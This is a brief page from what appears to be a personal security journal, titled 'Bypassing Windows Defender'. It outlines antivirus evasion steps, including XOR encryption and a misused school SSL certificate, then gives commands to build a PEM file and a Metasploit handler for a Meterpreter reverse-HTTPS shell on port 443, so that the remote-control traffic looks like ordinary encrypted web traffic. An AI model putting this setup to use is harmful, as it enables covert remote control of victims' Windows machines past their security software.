> For the complete documentation index, see [llms.txt](https://breakpoint-journal.gitbook.io/breakpoint/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://breakpoint-journal.gitbook.io/breakpoint/malware-diaries/publish-your-docs.md).

# Bypassing Windows Defender

Outline

1. xor encryption, static analysis tools immediatley flag it
2. systematically testing different parts
3. using my school SSL certificate
4. changing to an EC2 instance

Prepare a PEM file that contains both the certificate and the private key concatenated together (cert first, then key), e.g.:

{% code title="" %}

```
cat mycert.crt mykey.key > combined.pem
```

{% endcode %}

{% code title="" %}

```
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST <your_ip>
set LPORT 443
set HandlerSSLCert /path/to/combined.pem
set StagerVerifySSLCert true    # optional, if you want the stager to validate the cert
exploit -j
```

{% endcode %}